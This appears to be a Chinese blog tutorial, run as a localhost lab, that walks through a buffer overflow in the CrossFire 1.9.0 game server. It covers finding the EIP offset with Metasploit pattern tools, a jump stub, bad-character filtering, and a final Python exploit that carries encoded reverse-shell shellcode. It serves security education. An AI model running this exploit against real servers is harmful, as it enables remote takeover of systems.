linux缓存区的创建,Linux下简单的缓冲区溢出

缓冲区溢出是什么?

科班出身,或者学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据

成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

CrossFire

多人在线RPG游戏

1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞 (服务端)

调试工具

edb

运行平台

kali 2.0 x64虚拟机

Linux中内存保护机制

DEP

ASLR

堆栈 cookies

堆栈粉碎

漏洞太老,避免测试中我们的虚拟机被劫持,可以通过iptables设置目标端口只允许本地访问,如果网络是仅主机可以省略

#4444端口是一会开放的测试端口,只允许本地访问

iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP #13327是服务端端口,只允许本地访问 iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP

创建/usr/games/目录,将crossfire1.9.0服务端解压到目录

#解压touch /usr/games/cd/usr/games/

tar zxpf crossfire.tar.gz

运行一下crossfire看看有没有问题    ./crossfire

20180630134748293140.png

出现Waiting for connections即可,有问题看看Error

#开启调试

edb--run /usr/games/crossfire/bin/crossfire

20180630134748476734.png

右下角是paused暂停状态

菜单栏 Debug => Run(F9) 点击两回可以运行起来

可以通过命令查看程序端口信息

#查看开放端口

netstat-pantu | grep 13327

EIP中存放的是下一条指令的地址

这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试

#! /usr/bin/python

importsocket

host= "127.0.0.1"crash= "\x41" * 4379 ## \x41为十六进制的大写A

buffer = "\x11(setup sound" + crash + "\x90\x00#" ## \x90是NULL,\x00是空字符

s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)print "[*]Sending evil buffer..."s.connect((host,13327))

data= s.recv(1024)printdata

s.send(buffer)

s.close()print "[*]Payload Sent!"

运行后,edb报错如下

20180630134748693531.png

意思是EIP(存放一下条执行命令的地址)已经被覆盖成上图黑体中的地址,而计算机找不到这个地址。这个地址正是由我们输入的A,说明EIP可控,存在溢出。

这里你也可以测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控

为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串

cd /usr/share/metasploit-framework/tools/exploit/./pattern_create.rb -l 4379

20180630134748827320.png

复制下来,构造如下python脚本

#! /usr/bin/python

importsocket

host= "127.0.0.1"crash= "唯一字符串"buffer= "\x11(setup sound" + crash + "\x90\x00#"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)print "[*]Sending evil buffer..."s.connect((host,13327))

data= s.recv(1024)printdata

s.send(buffer)

s.close()print "[*]Payload Sent!"

开启edb启动程序,运行python程序

20180630134749002125.png

利用工具确认字符串的位置

cd /usr/share/metasploit-framework/tools/exploit/./pattern_offset.rb -q 46367046

20180630134749151539.png

就是说EIP地址前面有4368个字符。   4369,4370,4371,4372的位置存放的是溢出后的EIP地址

我们构造如下python脚本验证

#! /usr/bin/python

importsocket

host= "127.0.0.1"crash= ‘A‘*4368 + ‘B‘*4 + ‘C‘*7 ## 凑够4379个字符buffer= "\x11(setup sound" + crash + "\x90\x00#"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)print "[*]Sending evil buffer..."s.connect((host,13327))

data= s.recv(1024)printdata

s.send(buffer)

s.close()print "[*]Payload Sent!"

20180630134749342945.png

可以看到EIP地址被精准的填充为B字符

20180630134749513843.png

右键ESP,选择 Follow In Dump 查看数据

20180630134749623218.png

因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode

几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode

20180630134749800953.png

思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。

既然ESP可以存放7个字符,想到了跳转EAX并偏移12

20180630134749958179.png

构造如下python代码运行

#! /usr/bin/python

importsocket

host= "127.0.0.1"crash= ‘A‘*4368 + ‘B‘*4 + ‘\x83\xc0\x0c\xff\xe0\x90\x90‘buffer= "\x11(setup sound" + crash + "\x90\x00#"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)print "[*]Sending evil buffer..."s.connect((host,13327))

data= s.recv(1024)printdata

s.send(buffer)

s.close()print "[*]Payload Sent!"

首先EIP地址仍然是精准的四个B

20180630134750388843.png

ESP => Follow In Dump 查看

20180630134750537281.png

83 c0 0c ff e0 90 90 说明这里也完美写入

思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转

打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch

选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的

20180630134750683765.png

菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。

然后我们测试坏字符,经过测试坏字符是\x00\x0a\x0d\x20

生成shellcode并过滤坏字符

cd /usr/share/framework2/./msfpayload -l #可以生成的shellcode的种类

./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20"

构建python脚本

#!/usr/bin/python

importsocket

host= "127.0.0.1"shellcode=("\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+

"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+

"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+

"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+

"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+

"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+

"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+

"\x1a\x99\x43\x71\x97\x54\x03")

crash= shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"buffer= "\x11(setup sound" +crash+ "\x90\x90#)"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)print "[*]Sending evil buffer..."s.connect((host,13327))

data= s.recv(1024)printdata

s.send(buffer)

s.close()print "[*]Payload Sent!"

监听本地的4444端口,即可获取一个shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值